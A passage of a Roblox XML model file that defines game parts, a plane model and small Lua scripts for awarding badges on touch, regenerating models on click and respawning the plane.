				</Item>
				<Item class="IntValue" referent="RBX4701">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">BadgeID</string>
						<int name="Value">52673914</int>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX4702">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">24</int>
				<CoordinateFrame name="CFrame">
					<X>-1002</X>
					<Y>19.8000011</Y>
					<Z>886.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>57</X>
					<Y>1.20000005</Y>
					<Z>30</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX4703">
			<Properties>
				<bool name="Anchored">false</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>-1114</X>
					<Y>8.60000038</Y>
					<Z>822</Z>
					<R00>-0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Platform</string>
				<float name="Reflectance">1</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">2</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX4704">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=48040081</url></Content>
					<float name="Transparency">0</float>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4705">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
					<string name="Name">BadgeAwarderScript</string>
					<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="IntValue" referent="RBX4706">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">BadgeID</string>
					<int name="Value">48040128</int>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX4707">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">BadgeAwarder</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX4708">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">2</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-1122</X>
						<Y>7.4000001</Y>
						<Z>822</Z>
						<R00>-0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">2</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Platform</string>
					<float name="Reflectance">1</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>10</X>
						<Y>1.20000005</Y>
						<Z>10</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX4709">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=52611821</url></Content>
						<float name="Transparency">0</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX4710">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
						<string name="Name">BadgeAwarderScript</string>
						<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="IntValue" referent="RBX4711">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">BadgeID</string>
						<int name="Value">52611883</int>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX4712">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX4713">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-1124</X>
						<Y>7</Y>
						<Z>872</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX4714">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX4715">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX4716">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX4717">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX4718">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Red</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX4719">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX4720">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Plane</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX4721">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Parts</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Part" referent="RBX4722">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">0</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-1132.40002</X>
										<Y>7.00004387</Y>
										<Z>896</Z>
										<R00>0</R00>
										<R01>0</R01>
										<R02>1</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>-1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Engine</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0.00103041832</X>
										<Y>0.000177318463</Y>
										<Z>-0.000409811095</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">1</float>
									<Vector3 name="Velocity">
										<X>-0.0025208774</X>
										<Y>0.00333478185</Y>
										<Z>-0.000174747795</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>8</X>
										<Y>0.400000006</Y>
										<Z>28</Z>
									</Vector3>
								</Properties>
								<Item class="BodyPosition" referent="RBX4723">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">1250</float>
										<string name="Name">BodyPosition</string>
										<float name="P">10000</float>
										<Vector3 name="maxForce">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="position">
											<X>-1.5</X>
											<Y>3</Y>
											<Z>-48</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyGyro" referent="RBX4724">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">500</float>
										<string name="Name">BodyGyro</string>
										<float name="P">3000</float>
										<CoordinateFrame name="cframe">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<Vector3 name="maxTorque">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="Script" referent="RBX4725">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">true</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<ProtectedString name="Source">model = script.Parent.Parent.Parent
backup = model:clone()
local debounce = false

function onTouch(part)
	if (part.Name == &quot;Safe&quot;) and (debounce == false) and (script.Parent.Count.Value == 0) then
	debounce = true
	wait(2)
	model = backup:clone()
	model.Parent = game.Workspace
	model:makeJoints()
	script.Parent.Count.Value = 1
	debounce = false
	end
end 
script.Parent.Touched:connect(onTouch)</ProtectedString>
									</Properties>
								</Item>
								<Item class="IntValue" referent="RBX4726">
									<Properties>
										<bool name="Archivable">true</bool>
										<string name="Name">Count</string>
										<int name="Value">0</int>
									</Properties>
								</Item>
							</Item>
							<Item class="Seat" referent="RBX4727">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">21</int>
									<CoordinateFrame name="CFrame">
										<X>-1137.40002</X>
										<Y>8.20004368</Y>
										<Z>896</Z>
										<R00>0</R00>
										<R01>0</R01>
										<R02>1</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>-1</R20>
										<R21>-0</R21>
										<R22>-0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Seat</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0.00103041832</X>
										<Y>0.000177318463</Y>
										<Z>-0.000409811095</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>-0.00202910416</X>
										<Y>0.0053838375</Y>
										<Z>0.00194834638</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>0.400000006</Y>
										<Z>4</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4728">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-1</X>
										<Y>8.68749332</Y>
										<Z>3.97869873</Z>
										<R00>-1</R00>
										<R01>-8.52184769e-007</R01>
										<R02>4.47994807e-007</R02>
										<R10>-8.5223229e-007</R10>
										<R11>1</R11>
										<R12>-0.000106061627</R12>
										<R20>-4.47904426e-007</R20>
										<R21>-0.000106061627</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX4729">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<ProtectedString name="Source">position = script.Parent.Engine.Position
local frame = Instance.new(&quot;CFrameValue&quot;)
frame.Name = &quot;OriginCFrame&quot;
frame.Value = script.Parent.Engine.CFrame
frame.Parent = script.Parent

local object = Instance.new(&quot;ObjectValue&quot;)
object.Value = script.Parent.Parent.Parent

seat = script.Parent.Seat

function onChildAdded(part)
	if part.className == &quot;Weld&quot; then
		local torso = part.Part1
		if torso ~= nil then
			local parent = torso.Parent
			if parent ~= nil then
				script.Parent.Parent.Parent = parent
				while true do
					wait(2)
					local pos = script.Parent.Engine.Position
					if (position - pos).magnitude &gt; 30 then
						if object.Value ~= nil then
							object.Value.Regen.Value = 1
							wait(.5)
							object.Value.Regen.Value = 0
							object.Value = nil
						end
					break end
				end
				while true do
					print(&quot;Loop&quot;)
					wait(2)
					if part == nil then
						script.Parent.Parent.Parent = game.Workspace
						script.Parent.Parent:MakeJoints()
					break end
				end
			end
		end
	end
end
seat.ChildAdded:connect(onChildAdded)</ProtectedString>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4730">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-103</X>
										<Y>10.8000002</Y>
										<Z>-727</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>-0</R02>
										<R10>-0</R10>
										<R11>1</R11>
										<R12>-0</R12>
										<R20>-0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4731">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-103</X>
										<Y>10.8000002</Y>
										<Z>-727</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>-0</R02>
										<R10>-0</R10>
										<R11>1</R11>
										<R12>-0</R12>
										<R20>-0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4732">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-102.992332</X>
										<Y>10.7712145</Y>
										<Z>-726.693542</Z>
										<R00>-0.99999994</R00>
										<R01>0.000460659998</R01>
										<R02>1.19932392e-005</R02>
										<R10>0.000460652431</R10>
										<R11>0.999999702</R11>
										<R12>-0.000621763524</R12>
										<R20>-1.22796573e-005</R20>
										<R21>-0.000621757936</R21>
										<R22>-0.999999881</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4733">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>819.997314</X>
										<Y>10.8972998</Y>
										<Z>-814.973267</Z>
										<R00>-0.999999881</R00>
										<R01>0.000417414587</R01>
										<R02>6.31785269e-006</R02>
										<R10>0.000417414849</R10>
										<R11>0.99999994</R11>
										<R12>3.51876515e-005</R12>
										<R20>-6.30316481e-006</R20>
										<R21>3.519038e-005</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4734">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>222.999756</X>
										<Y>10.8018036</Y>
										<Z>-157.974213</Z>
										<R00>-1</R00>
										<R01>4.56572889e-005</R01>
										<R02>-1.09764164e-006</R02>
										<R10>4.56572889e-005</R10>
										<R11>1</R11>
										<R12>3.25534029e-006</R12>
										<R20>1.09779035e-006</R20>
										<R21>3.25529027e-006</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4735">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-45.0006828</X>
										<Y>11.6175013</Y>
										<Z>-151.975052</Z>
										<R00>-1</R00>
										<R01>9.0852518e-005</R01>
										<R02>-4.43711815e-006</R02>
										<R10>9.08519069e-005</R10>
										<R11>1</R11>
										<R12>0.000137785828</R12>
										<R20>4.44963644e-006</R20>
										<R21>0.000137785421</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4736">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>44</X>
										<Y>1</Y>
										<Z>67</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>-0</R02>
										<R10>-0</R10>
										<R11>1</R11>
										<R12>-0</R12>
										<R20>-0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4737">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-164</X>
										<Y>1.00000012</Y>
										<Z>88</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4738">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-146</X>
										<Y>1.00000012</Y>
										<Z>107</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4739">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>28</X>
										<Y>0.989788949</Y>
										<Z>44</Z>
										<R00>-1</R00>
										<R01>6.48690204e-008</R01>
										<R02>-1.9620634e-008</R02>
										<R10>6.48689209e-008</R10>
										<R11>1</R11>
										<R12>4.75700926e-006</R12>
										<R20>1.96209431e-008</R20>
										<R21>4.75700926e-006</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4740">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>202.982452</X>
										<Y>229.784286</Y>
										<Z>-112.966362</Z>
										<R00>-0.0040474548</R00>
										<R01>8.82848617e-005</R01>
										<R02>0.999991834</R02>
										<R10>-8.14465977e-007</R10>
										<R11>1</R11>
										<R12>-8.8288878e-005</R12>
										<R20>-0.999991834</R20>
										<R21>-1.17180491e-006</R21>
										<R22>-0.0040474548</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX4741">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>39</X>
										<Y>0.600000381</Y>
										<Z>25</Z>
										<R00>-1</R00>
										<R01>0</R01>
